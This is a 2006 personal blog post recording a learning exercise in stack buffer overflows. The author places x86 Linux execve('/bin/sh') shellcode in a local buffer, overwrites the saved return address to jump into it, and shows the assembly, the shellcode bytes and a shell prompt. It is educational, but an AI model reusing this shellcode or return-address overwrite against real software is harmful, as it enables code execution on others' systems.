Tuesday, May 09, 2006

Jumping Back Into The Buffer

So I decided to try and extend the work I did yesterday on example3.c by trying to put shellcode inside the buffer, and then overwriting the eip to point back into it. But at 5 bytes, buffer1 is too small to put shellcode in, so I cranked the size up to 25 bytes:

void
function(int a, int b, int c) {
char buffer1[25];
char buffer2[10];
int *ret;

ret = buffer1 + 28;
(*ret) = 7;
}


Of course, I have to recalculate the offset, since buffer1 is now a different size. Using the technique from last post, I can determine the offset is 0x2c, or 44.

Ok, so now we know how far away eip is from buffer1. But instead of just incrementing eip, I want eip to be the address of my shellcode. Since I'm putting the shellcode into buffer1, we just need to overwrite eip with the address of buffer1. So we replace the lines

ret = buffer1 + 28;
(*ret) = 7;


with

ret = buffer1 + 44; /* Jump to saved eip in the stack */
(*ret) = buffer1; /* Overwrite eip with address of buffer1 */


Now I just need the shellcode to put into buffer1. I'm pretty sure I stole this from somewhere, I just can't remember right now. I think I got it from Buffer Overflows: Detect, Exploit, Prevent by James C. Foster, Vitaly Osipov, Nish Bhalla. Anyway, this is the assembly:


$ cat shell.asm
BITS 32

xor edx, edx
xor eax, eax

push edx

push long 0x68732f2f
push long 0x6e69622f

mov ebx, esp

push edx
push ebx
mov ecx, esp
mov al, 0x0b
int 0x80
$


I'll explain the shellcode later, right now it suffices to know that this will launch /bin/sh. I used nasm and a program called s-proc to produce the ascii shellcode we need to put in the buffer:


$ nasm -o shell shell.asm
$ ./s-proc -p shell

/* The following shellcode is 25 bytes long: */

char shellcode[] =
"\x31\xd2\x31\xc0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";


$


So now that I have my shellcode, I'll put all this together in a new version of function():


void
function(int a, int b, int c) {
char buffer1[25] = "\x31\xd2\x31\xc0\x52\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
char buffer2[10];
int *ret;

ret = buffer1 + 44;
(*ret) = buffer1;
}


Compile and cross fingers:


$ gcc -g -o example3 example3.c
$ ./example3
sh-3.00$


:-) Not bad for a few day's work!

0 Comments:

Post a Comment

<< Home